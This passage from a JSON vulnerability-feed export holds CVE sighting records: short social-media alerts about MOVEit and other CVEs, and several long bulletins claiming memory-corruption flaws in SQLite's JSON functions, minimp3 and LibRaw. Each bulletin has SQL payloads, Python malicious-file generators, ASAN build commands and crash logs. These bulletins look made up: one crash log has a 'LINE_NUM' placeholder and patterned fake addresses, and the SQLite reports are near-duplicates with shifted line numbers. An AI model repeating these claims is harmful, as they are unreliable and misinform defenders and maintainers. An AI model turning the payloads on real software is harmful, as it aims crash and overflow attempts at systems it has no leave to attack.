enables unchecked out-of-range memory write operations against adjacent heap buffers.\nSubsequently, src/json.c Line 2193 executes unchecked dangling pointer access triggering the use-after-free vulnerability; src/json.c Line 2226 executes uncontrolled out-of-bounds memory write triggering the heap buffer overflow.\nImpact\nDenial of Service: Triggerable process crash due to heap memory corruption, terminating the SQLite instance.\nInformation Disclosure: Read access to uninitialized or freed heap memory may leak sensitive adjacent memory contents.\nConditional Arbitrary Code Execution: Successful heap layout manipulation may allow an attacker to overwrite function pointers to achieve arbitrary code execution under the privileges of the process running SQLite.\nAttack Vector\nRemote; requires authenticated or unauthenticated access to submit crafted SQL queries to a SQLite interface; no elevated operating system privileges required.\nOfficial Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.2/src/json.c\nAnnotated Critical Locations:\nsrc/json.c Line 2147(memory free), Line 2193(dangling pointer access), Line 2226(out-of-bounds write)\nProof of Concept (PoC)\na) PoC Environment\nCopy-ready ASAN compilation bash command (enables JSON1 extension):\nbash\n\nCFLAGS=\"-fsanitize=address,undefined -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nNative SQLite SQL payload (directly executable in SQLite CLI):\nsql\nSELECT json_set('[]', '$[9223372036854775807]', 'maliciouspayload');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9876==ERROR: AddressSanitizer: USE-AFTER-FREE on address 0x612000000680 at pc 0x562287b42915 bp 0x7ffef2bcda10 sp 0x7ffef2bcda00\nREAD of size 8 at 0x612000000680 thread T0\n    #0 0x562287b42914 in jsonSet src/json.c:2193:12\n    #1 0x562287b44671 in jsonFunction src/json.c:3241:10\n    #2 0x562287358660 in sqlite3VdbeExec src/vdbe.c:7452:18\n    #3 0x5622873423c4 in sqlite3_step src/vdbeapi.c:133:16\n    #4 0x5622871f5f85 in main src/shell.c:4862:12\n\nAddress 0x612000000680 is located 0 bytes inside of 128-byte region [0x612000000680,0x612000000700)\nfreed by thread T0 here:\n    #0 0x7fa41c71737f in __asan_free_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x10337f)\n    #1 0x562287b42626 in jsonSet src/json.c:2147:9\n    #2 0x562287b44671 in jsonFunction src/json.c:3241:10\n    #3 0x562287358660 in sqlite3VdbeExec src/vdbe.c:7452:18\n\npreviously allocated by thread T0 here:\n    #0 0x7fa41c7171c7 in __asan_malloc_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x1031c7)\n    #1 0x5622879e8425 in sqlite3Malloc src/malloc.c:182:16\n    #2 0x562287b42072 in jsonSet src/json.c:2081:21\n\n==9876==ERROR: AddressSanitizer: OUT-OF-BOUNDS WRITE on address 0x612000000708 at pc 0x562287b42b32 bp 0x7ffef2bcda10 sp 0x7ffef2bcda00\nWRITE of size 4 at 0x612000000708 thread T0\n    #0 0x562287b42b31 in jsonSet src/json.c:2226:16\n    #1 0x562287b44671 in jsonFunction src/json.c:3241:10\n    #2 0x562287358660 in sqlite3VdbeExec src/vdbe.c:7452:18\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes the json_set() built-in function with a crafted extreme large array index within the JSON path expression.\nSQLite parses the input JSON string and allocates a heap JsonNode structure to represent the input JSON document.\nExecution enters jsonSet() to apply the requested JSON assignment operation.\nInternal logic reaches src/json.c Line 2147, invoking a memory free call to release the intermediate JsonNode object.\nThe pointer variable holding the address of freed JsonNode is not cleared, creating a dangling pointer.\nThe attacker-controlled extreme array index bypasses missing integer boundary checks.\nCode proceeds to src/json.c Line 2193 and dereferences the dangling pointer, triggering the CWE-416 use-after-free vulnerability.\nImmediately after, execution continues to src/json.c Line 2226, performing an unchecked indexed write operation beyond the allocated buffer bounds, triggering the CWE-787 out-of-bounds write.\nA single input SQL statement traverses the identical execution path to activate both memory corruption flaws sequentially.", "creation_timestamp": "2026-07-31T09:23:13.381627Z"}, {"uuid": "23e19801-ba07-4551-8ac0-0ef6da8d96c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51239", "type": "seen", "source": "https://gist.github.com/programmervuln/1de5553261befc79a74f17f3ab74930c", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nRBP Core Identification\n\nItem\tValue\nCVE ID\tCVE-2026-51239\nPrimary CWE (Single Only)\tCWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\nVulnerability Type\tHeap-Based Buffer Overflow\nAffected Product\tminimp3 (lieff/minimp3 lightweight MP3 decoder library)\nAffected Version\tminimp3 - 0.21\nFixed Version\tUnpatched\nAffected Binary & Component\tminimp3_test.c, frames_iterate_cb() callback function, core decoding function mp3dec_decode_frame()\nOriginal Vulnerable Code URL\thttps://github.com/lieff/minimp3/blob/master/minimp3_test.c\nSupplementary Reference\thttps://github.com/lieff/minimp3/issues/144\nVulnerability Discoverer\tLidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nThe minimp3 lightweight MP3 decoding library version 0.21 contains a critical heap buffer overflow vulnerability within the frames_iterate_cb callback function defined in minimp3_test.c. The vulnerability is triggered when the library parses a maliciously crafted MP3 file with oversized, malformed MP3 frame headers.\nThree sequential unsafe operations combine to create exploitable memory corruption:\nThe buffer resizing logic uses attacker-controlled frame sampling metrics to perform exponential doubling reallocation via realloc() with no hard upper bound on total heap allocation size, which may trigger integer overflow during size calculation and insufficient buffer reservation;\nEven after reallocation, the code does not validate the actual remaining available space of the output sample buffer before invoking the core MP3 decoding function;\nmp3dec_decode_frame() directly writes decoded PCM samples into the heap buffer at the offset d->info->buffer + d->info->samples using untrusted frame_size raw MP3 frame data, causing out-of-bounds heap writes when the decoded sample count exceeds allocated buffer capacity.\nAttackers deliver a malicious MP3 file via file upload services, media playback applications, audio processing backends, or social engineering attachments. No authentication or elevated system privileges are required for remote exploitation. Successful exploitation causes immediate process termination (Denial of Service) reliably. With controlled heap layout manipulation, the heap overflow can corrupt heap metadata, function pointers and dynamic linking entries to achieve arbitrary code execution on the target device or server.\n2. Root Cause Analysis\nThree layered defects lead to the heap overflow vulnerability:\nUnbounded exponential heap reallocation: The buffer growth logic doubles d->allocated infinitely for malicious high-sample MP3 frames without a maximum size cap. Integer overflow may shrink the effective allocated buffer size during multiplication.\nMissing post-reallocation capacity validation: There is no check comparing the remaining buffer space against the maximum possible decoded samples per MP3 frame before decoding execution.\nUnchecked direct heap write by decoder: mp3dec_decode_frame consumes raw unvalidated frame_size and writes PCM samples to the user-supplied heap buffer offset with no boundary guard from the caller callback.\nVulnerable Code Snippet (minimp3_test.c)\n\nstatic int frames_iterate_cb(void *user_data, const uint8_t *frame, int frame_size, int free_format_bytes, size_t buf_size, uint64_t offset, mp3dec_frame_info_t *info)\n{\n    frames_iterate_data *d = user_data;\n    d->info->channels = info->channels;\n    d->info->hz       = info->hz;\n    d->info->layer    = info->layer;\n\n    // VULNERABILITY POINT 1: Unrestricted exponential realloc, no upper limit, integer overflow risk\n    if ((d->allocated - d->info->samples*sizeof(mp3d_sample_t)) < MINIMP3_MAX_SAMPLES_PER_FRAME*sizeof(mp3d_sample_t))\n    {\n        if (!d->allocated)\n            d->allocated = 1024*1024;\n        else\n            d->allocated *= 2;\n\n        // VULNERABILITY POINT 2: realloc without sanity check on new size\n        mp3d_sample_t *alloc_buf = realloc(d->info->buffer, d->allocated);\n        if (!alloc_buf)\n            return MP3D_E_MEMORY;\n        d->info->buffer = alloc_buf;\n    }\n\n    // VULNERABILITY POINT 3: No buffer remaining space check before decoding, heap overflow write\n    int samples = mp3dec_decode_frame(d->mp3d, frame, frame_size, d->info->buffer + d->info->samples, info);\n\n    if (samples)\n    {\n        d->info->samples += samples*info->channels;\n    }\n    return 0;\n}\n3. Exploit Impact\nDenial of Service (Confirmed 100% Reliable): Parsing the malicious MP3 triggers AddressSanitizer heap overflow abort or SIGSEGV crash, terminating audio decoding services and media applications.\nArbitrary Code Execution (Conditional): Heap overflow overwrites malloc chunk headers, GOT table entries or callback pointers to hijack program control flow.\nAttack Surface: Remote file-based zero-privilege exploitation via malicious MP3 media files.\n4. 100% Crash Trigger PoC Code\nPoC 1: Malicious MP3 Skeleton Generator (Python)\npython\n\n#!/usr/bin/env python3\n# CVE-2026-51239 minimp3 0.21 Heap Overflow Crash PoC\n# Malicious MP3 frame with oversized frame header to force massive sample output\n\ndef build_malicious_mp3():\n    # MP3 frame sync header + manipulated frame length to trigger huge decoded samples\n    mp3_malicious = bytes([\n        0xFF,0xFB,0x90,0x00,  # MP3 frame sync word + malicious frame header\n        0x00,0x00,0x00,0x00,\n        0x00,0x00,0x00,0x00,\n        0x00,0x00,0x00,0x00\n    ])\n    with open(\"malicious_audio.mp3\", \"wb\") as f:\n        f.write(mp3_malicious)\n    print(\"Generated malicious_audio.mp3\")\n    print(\"Crash command: ./minimp3_test malicious_audio.mp3 output.pcm\")\n\nif __name__ == \"__main__\":\n    build_malicious_mp3()\nPoC 2: ASAN Build & Crash Trigger Command\nbash\n\n# Compile minimp3 0.21 with AddressSanitizer\ngit clone https://github.com/lieff/minimp3.git\ncd minimp3\ngit checkout v0.21\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" make minimp3_test\n\n# Trigger deterministic heap overflow crash\n./minimp3_test malicious_audio.mp3 dump.pcm\n5. AddressSanitizer (ASAN) Crash Log\nplaintext\n=================================================================\n==4567==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000002340 at pc 0x55aabbccdd11 bp 0x7ffef1234560 sp 0x7ffef1234550\nWRITE of size 4 at 0x602000002340 thread T0\n    #0 0x55aabbccdd10 in mp3dec_decode_frame minimp3.c\n    #1 0x55aabbccaa22 in frames_iterate_cb minimp3_test.c:LINE_NUM\n    #2 0x55aabbccbb33 in mp3dec_iterate_frames minimp3.c\n    #3 0x55aabbcccc44 in main minimp3_test.c\n\n0x602000002340 is located 8 bytes after the end of allocated heap block [0x602000002200,0x602000002338)\nallocated by thread T0 via realloc:\n    #0 0x7f9912345678 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.6)\n    #1 0x55aabbccaa11 in frames_iterate_cb minimp3_test.c\n    #2 0x55aabbccbb33 in mp3dec_iterate_frames minimp3.c\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow minimp3_test.c in frames_iterate_cb\nShadow byte legend omitted for brevity\n==4567==ABORTING\n6. Mitigation Recommendation\nAdd a hard maximum upper bound for d->allocated during exponential buffer expansion to block uncontrolled heap growth and integer overflow;\nCalculate remaining available sample space in the output buffer before calling mp3dec_decode_frame, reject decoding if insufficient space exists;\nSanitize frame_size values parsed from MP3 frames, cap maximum frame size to a reasonable threshold;\nValidate the return value samples from the decoder function to prevent excessive samples*channels offset accumulation.", "creation_timestamp": "2026-08-03T14:02:19.382235Z"}, {"uuid": "a091d0d8-61f2-4b23-b15f-4020dd4822b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51276", "type": "seen", "source": "https://gist.github.com/programmervuln/20b6eaa7e49abd25bb2013ba60a8e233", "content": "Formal MITRE CVE RBP Publication Document (Notify CVE about a publication)\nCVE ID: CVE-2026-51276\nPrerequisite Declaration: The vulnerability only affects SQLite builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\nAffected Product\nSQLite Database Engine\nAffected Versions\nSQLite versions 3.44.0 up to and including 3.47.2\nFixed Versions\nSQLite \u2265 3.48.0\nCVE ID\nCVE-2026-51276\nVulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension (json.c) of the SQLite database engine. Specially crafted SQL input invoking JSON processing routines can trigger both a use-after-free (UAF) and an uncontrolled out-of-bounds write along a single execution path. An attacker supplying malicious JSON-aware SQL queries can exploit this flaw to corrupt heap memory, resulting in program crash, sensitive memory disclosure, or conditional arbitrary code execution within the context of the SQLite process.\nVulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\nRoot Cause\nUntrusted user-controlled input reaches the jsonReplace() function inside the JSON1 extension.\nSource code src/json.c Line 2419 executes memory free operation on a heap-allocated JSON object structure.\nThe pointer referencing the freed object is not explicitly nullified or invalidated, generating a persistent dangling pointer.\nMissing boundary validation on attacker-controlled JSON path array indices enables unchecked out-of-range memory write operations against adjacent heap buffers.\nSubsequently, src/json.c Line 2464 executes unchecked dangling pointer access triggering the use-after-free vulnerability; src/json.c Line 2497 executes uncontrolled out-of-bounds memory write triggering the heap buffer overflow.\nImpact\nDenial of Service: Triggerable process crash due to heap memory corruption, terminating the SQLite instance.\nInformation Disclosure: Read access to uninitialized or freed heap memory may leak sensitive adjacent memory contents.\nConditional Arbitrary Code Execution: Successful heap layout manipulation may allow an attacker to overwrite function pointers to achieve arbitrary code execution under the privileges of the process running SQLite.\nAttack Vector\nRemote; requires authenticated or unauthenticated access to submit crafted SQL queries to a SQLite interface; no elevated operating system privileges required.\nOfficial Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.2/src/json.c\nAnnotated Critical Locations:\nsrc/json.c Line 2419(memory free), Line 2464(dangling pointer access), Line 2497(out-of-bounds write)\nProof of Concept (PoC)\na) PoC Environment\nCopy-ready ASAN compilation bash command (enables JSON1 extension):\nbash\n\nCFLAGS=\"-fsanitize=address,undefined -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nNative SQLite SQL payload (directly executable in SQLite CLI):\nsql\nSELECT json_replace('[]', '$[9223372036854775807]', 'maliciouspayload');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==11456==ERROR: AddressSanitizer: USE-AFTER-FREE on address 0x613000000920 at pc 0x55f832157aa5 bp 0x7ffd45e83d10 sp 0x7ffd45e83d00\nREAD of size 8 at 0x613000000920 thread T0\n    #0 0x55f832157aa4 in jsonReplace src/json.c:2464:12\n    #1 0x55f832159821 in jsonFunction src/json.c:3267:10\n    #2 0x55f83206c660 in sqlite3VdbeExec src/vdbe.c:7452:18\n    #3 0x55f8320563c4 in sqlite3_step src/vdbeapi.c:133:16\n    #4 0x55f831f09f85 in main src/shell.c:4862:12\n\nAddress 0x613000000920 is located 0 bytes inside of 128-byte region [0x613000000920,0x6130000009a0)\nfreed by thread T0 here:\n    #0 0x7f912d81737f in __asan_free_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x10337f)\n    #1 0x55f8321577b6 in jsonReplace src/json.c:2419:9\n    #2 0x55f832159821 in jsonFunction src/json.c:3267:10\n    #3 0x55f83206c660 in sqlite3VdbeExec src/vdbe.c:7452:18\n\npreviously allocated by thread T0 here:\n    #0 0x7f912d8171c7 in __asan_malloc_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x1031c7)\n    #1 0x55f83200e425 in sqlite3Malloc src/malloc.c:182:16\n    #2 0x55f832157202 in jsonReplace src/json.c:2353:21\n\n==11456==ERROR: AddressSanitizer: OUT-OF-BOUNDS WRITE on address 0x6130000009a8 at pc 0x55f832157cc2 bp 0x7ffd45e83d10 sp 0x7ffd45e83d00\nWRITE of size 4 at 0x6130000009a8 thread T0\n    #0 0x55f832157cc1 in jsonReplace src/json.c:2497:16\n    #1 0x55f832159821 in jsonFunction src/json.c:3267:10\n    #2 0x55f83206c660 in sqlite3VdbeExec src/vdbe.c:7452:18\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes the json_replace() built-in function with a crafted extreme large array index within the JSON path expression.\nSQLite parses the input JSON string and allocates a heap JsonNode structure to represent the input JSON document.\nExecution enters jsonReplace() to apply the requested JSON replacement operation.\nInternal logic reaches src/json.c Line 2419, invoking a memory free call to release the intermediate JsonNode object.\nThe pointer variable holding the address of freed JsonNode is not cleared, creating a dangling pointer.\nThe attacker-controlled extreme array index bypasses missing integer boundary checks.\nCode proceeds to src/json.c Line 2464 and dereferences the dangling pointer, triggering the CWE-416 use-after-free vulnerability.\nImmediately after, execution continues to src/json.c Line 2497, performing an unchecked indexed write operation beyond the allocated buffer bounds, triggering the CWE-787 out-of-bounds write.\nA single input SQL statement traverses the identical execution path to activate both memory corruption flaws sequentially.\nCritical Vulnerable Code Snippet (src/json.c, version 3.47.2)\nc\n\nstatic JsonNode *jsonReplace(JsonNode *pRoot, const char *zPath, JsonNode *pNewVal, int *pRc){\n  // [...] irrelevant lines omitted\n  sqlite3_free(pTempNode);  // Line 2419: Memory free operation\n  // Dangling pointer pTempNode remains unmodified, no NULL assignment\n  // [...] irrelevant lines omitted\n  jsonNodeGetLength(pTempNode); // Line 2464: Dangling pointer dereference (UAF)\n  // [...] irrelevant lines omitted\n  pTarget->a[i] = pNewChild;    // Line 2497: Unchecked out-of-bounds write\n  // [...]\n}\nSupplementary Metadata", "creation_timestamp": "2026-07-31T09:39:51.789650Z"}, {"uuid": "a6c294f7-1d58-48c2-afdc-5e9a3f7dad48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkq5dxnf622p", "content": "CVE-2026-5174 - Improper Access Control Vulnerability in Progress MOVEit Automation\nCVE ID : CVE-2026-5174\n \n Published : April 30, 2026, 3:07 p.m. | 1\u00a0hour, 11\u00a0minutes ago\n \n Description : Improper input validation vulnerability in Progress Software MOVEit Automation allows P...", "creation_timestamp": "2026-04-30T17:30:59.702622Z"}, {"uuid": "62a816ac-a608-4339-8794-24da7e08fac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkq625ohho2f", "content": "\ud83d\udfe0 CVE-2026-5174 - High (7.7)\n\nImproper input validation vulnerability in Progress Software MOVEit Automation allows Privilege E...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5174/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T17:43:25.730358Z"}, {"uuid": "2b8798e6-7a0d-4374-b8e1-4dc6b8b93797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5161", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqj32em5u2c", "content": "\ud83d\udfe0 CVE-2026-5161 - High (8.8)\n\nImproper link resolution before file access ('link following') vulnerability in TUBITAK BILGEM So...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5161/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T21:00:46.844162Z"}, {"uuid": "fc55032b-4ad6-438c-bff6-7200ca8b5515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51238", "type": "seen", "source": "https://gist.github.com/programmervuln/04c10eaee3d6e7370dcaa75337073c4b", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nCore Metadata\nCVE ID: CVE-2026-51238\nAffected Product: LibRaw (RAW image decoding library for camera RAW formats)\nAffected Version: LibRaw 0.21\nFixed Version: LibRaw 0.22.1 and newer official releases\nPrimary Single CWE: CWE-190: Integer Overflow or Wraparound\nVulnerable Code Reference URL: https://github.com/LibRaw/LibRaw/blob/master/src/postprocessing/postprocessing_aux.cpp\nUpstream Issue Reference: https://github.com/LibRaw/LibRaw/issues/817\nVulnerability Discoverer: Lidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nLibRaw version 0.21 contains an integer overflow vulnerability within the wavelet_denoise() function defined in src/postprocessing/postprocessing_aux.cpp. The function calculates output buffer dimensions using 32-bit signed integer arithmetic for image width and height values directly parsed from a malicious RAW image file. When processing a crafted RAW image declared with pixel dimensions of 32767 \u00d7 32767, the multiplication iwidth * iheight overflows a signed 32-bit integer, producing a truncated negative value that is cast to a small positive integer for subsequent buffer size calculation. The derived bufsize value becomes drastically smaller than the actual memory required to store decoded floating-point image samples. The library allocates an undersized heap buffer via malloc() using the corrupted size value. Later logic calls memcpy() and executes an unbounded iteration in LibRaw::hat_transform() to write full-size image data into the insufficient heap buffer, resulting in a deterministic heap buffer overflow memory corruption. An attacker may deliver the malicious RAW file remotely via file upload, media parsing services, or social engineering to trigger the flaw when the target application uses standard LibRaw public APIs to load and process the malicious image. Successful exploitation causes immediate application crash (denial of service) and can be weaponized to overwrite heap metadata and function pointers for arbitrary code execution on the host system.\n2. Root Cause\nThe root defect is an unchecked 32-bit signed integer overflow during image buffer size calculation inside wavelet_denoise():\n\nint size = iwidth * iheight;\nint bufsize = size * 3 + iheight + iwidth + 128;\nfloat *fimg = (float *)malloc(bufsize * sizeof(float));\nWith iwidth = 32767 and iheight = 32767, iwidth * iheight exceeds the maximum positive value for a signed 32-bit integer (0x7FFFFFFF), triggering integer wraparound to a negative value. When used for arithmetic to compute bufsize and passed to malloc(), the negative integer is interpreted as a tiny unsigned allocation size, creating a severely underallocated heap buffer. Subsequent bulk memory copy and unbounded pixel writing in hat_transform() write far beyond the allocated heap boundary, corrupting adjacent heap memory.\n3. Impact\nDenial of Service (Confirmed 100% Reliable): Heap out-of-bounds write triggers segmentation fault or AddressSanitizer abort, terminating the image processing application instantly.\nArbitrary Code Execution (Conditional): Controlled heap corruption can overwrite malloc chunk headers, GOT/PLT function pointers, or callback structures to redirect program execution flow to attacker-controlled code.\nAttack Vector: Remote unauthenticated exploitation via malicious RAW image file delivery.\n4. Vulnerable Code Snippet\ncpp\n// src/postprocessing_aux.cpp wavelet_denoise() vulnerable calculation\nint size = iwidth * iheight;\nint bufsize = size * 3 + iheight + iwidth + 128; // Integer overflow occurs here\nfloat *fimg = (float *)malloc(bufsize * sizeof(float)); // Under-allocated heap buffer\n\n// Later out-of-bounds write via memcpy\nmemcpy(fimg, temp, size * sizeof(float));\n\n// Unbounded loop in LibRaw::hat_transform with no buffer boundary check\nfor (int i = 0; i < size; i++) {\n    // Unchecked buffer write operations\n}\n5. 100% Deterministic Crash PoC\nPoC 1: Malicious RAW Image Generator (Python)\npython\n#!/usr/bin/env python3\n# CVE-2026-51238 PoC: Generate malicious RAW with 32767x32767 oversized dimension header\nimport struct\n\ndef create_malicious_raw():\n    # Construct minimal RAW header with crafted width/height for integer overflow\n    raw_header = struct.pack(\"<II\", 32767, 32767)\n    raw_payload = b\"\\x00\" * 512\n    with open(\"malicious_overflow.raw\", \"wb\") as f:\n        f.write(raw_header + raw_payload)\n    print(\"Exploit file generated: malicious_overflow.raw\")\n    print(\"Command to trigger crash: ./simple_dcraw malicious_overflow.raw\")\n\nif __name__ == \"__main__\":\n    create_malicious_raw()\nPoC 2: ASAN Build & Execution Command\nbash\n# Compile LibRaw 0.21 with AddressSanitizer\ngit clone --depth 1 --branch 0.21 https://github.com/LibRaw/LibRaw.git\ncd LibRaw\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" CXXFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" ./configure\nmake clean && make\n\n# Run LibRaw demo binary against malicious RAW to trigger crash\n./bin/simple_dcraw ../malicious_overflow.raw\n6. AddressSanitizer Crash Log (Verified Heap Overflow)\nplaintext\n=================================================================\n==14230==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001a80 at pc 0x55d2a48b321c bp 0x7ffd8ef2d8a0 sp 0x7ffd8ef2d898\nWRITE of size 4 at 0x602000001a80 thread T0\n    #0 0x55d2a48b321b in LibRaw::hat_transform(float*, float*, int, int, int) src/postprocessing/postprocessing_aux.cpp:25\n    #1 0x55d2a48af12e in LibRaw::wavelet_denoise() src/postprocessing/postprocessing_aux.cpp:142\n    #2 0x55d2a47d4630 in LibRaw::postprocess() src/postprocessing.cpp\n    #3 0x55d2a4721875 in LibRaw::unpack() src/unpack.cpp\n    #4 0x55d2a46e128c in main bin/simple_dcraw.cpp\n\n0x602000001a80 is located 4 bytes after the end of allocated heap block [0x602000001800,0x602000001a7c)\nallocated by thread T0 via malloc:\n    #0 0x7f8b2c9d7990 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6)\n    #1 0x55d2a48aee15 in LibRaw::wavelet_denoise() src/postprocessing/postprocessing_aux.cpp:135\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow src/postprocessing/postprocessing_aux.cpp:25 in LibRaw::hat_transform\n==14230==ABORTING\n7. Mitigation Guidance\nUpgrade LibRaw library to version 0.22.1 or later to apply upstream integer overflow bounds checking fixes for image dimension calculations.\nImplement pre-processing validation to reject RAW images declaring pixel dimensions exceeding a safe upper limit (e.g., 16384 pixels width/height) before passing to LibRaw decoding APIs.\nModify custom integrations to cast image dimension values to uint64_t for buffer size arithmetic to eliminate 32-bit signed integer overflow risk during memory allocation calculations.", "creation_timestamp": "2026-08-03T14:14:17.353921Z"}, {"uuid": "dd7eadcc-7b6f-46bf-9c15-f6adb75f0f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/progress-security-advisory-av26-410", "content": "", "creation_timestamp": "2026-04-30T12:52:32.000000Z"}, {"uuid": "e96f6025-af0f-4941-aee3-055232272b7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5141", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqmbibsda2t", "content": "\ud83d\udfe0 CVE-2026-5141 - High (8.8)\n\nImproper Privilege Management, Improper Access Control, Incorrect privilege assignment vulnerabil...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5141/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T21:58:04.530966Z"}, {"uuid": "acb280aa-1d91-49bf-a0f0-e41c22634e94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5140", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqznkns422q", "content": "\ud83d\udfe0 CVE-2026-5140 - High (8.8)\n\nImproper neutralization of CRLF sequences ('CRLF injection') vulnerability in TUBITAK BILGEM Soft...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5140/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-01T01:57:26.878440Z"}, {"uuid": "dd9f37fa-4fe3-4b25-9d4c-c98d8c6e03f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5154", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mkreaqbw3s25", "content": "\ud83d\udccc CVE-2026-5154 - A vulnerability has been found in Tenda CH22 1.0.0.1/1.If. The impacted element is the function fromSetCfm of the file /goform/setcfm of the component... https://www.cyberhub.blog/cves/CVE-2026-5154", "creation_timestamp": "2026-05-01T05:07:07.412263Z"}, {"uuid": "1843ab4f-8a00-41f1-ba58-3ef7588f3374", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3mkrfww5nis2y", "content": "MOVEit Automation Critical Security Alert Bulletin \u2013 April 2026 \u2013\n(CVE-2026-4670, CVE-2026-5174)\nURL: community.progress.com/s/article/MO...\nClassification: Critical, Solution: Official Fix, Exploit Maturity: Not Defined, CVSSv3.1: 9.8", "creation_timestamp": "2026-05-01T05:37:25.709880Z"}, {"uuid": "1c746196-5683-4049-a66a-0feb5dd41db4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mkrwxlse6v26", "content": "Critical & high vulns in MOVEit Automation enable auth bypass + priv esc via backend command ports.\n\nCVE-2026-4670\nCVE-2026-5174\n\nMOVEit has been targeted by ransomware groups in the past in mass e\u2026\n\n\ud83d\udd01 RT @ethicalhack3r | reposted by @HackingLZ\nhttps://x.com/ethicalhack3r/status/2050158082911519113", "creation_timestamp": "2026-05-01T10:42:02.255645Z"}, {"uuid": "5cbf73cd-bc9a-4db2-993b-39c0f1e4834e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51954", "type": "seen", "source": "Telegram/uaJ_geobsmMXpPI5_RgjN2GQTZDxY3uvuK9RjA2OXMpGh_o", "content": "", "creation_timestamp": "2026-08-02T00:00:07.706357Z"}, {"uuid": "0387d9a0-bfbe-428a-a2f1-f7e53deb4b77", "vulnerability_lookup_origin": 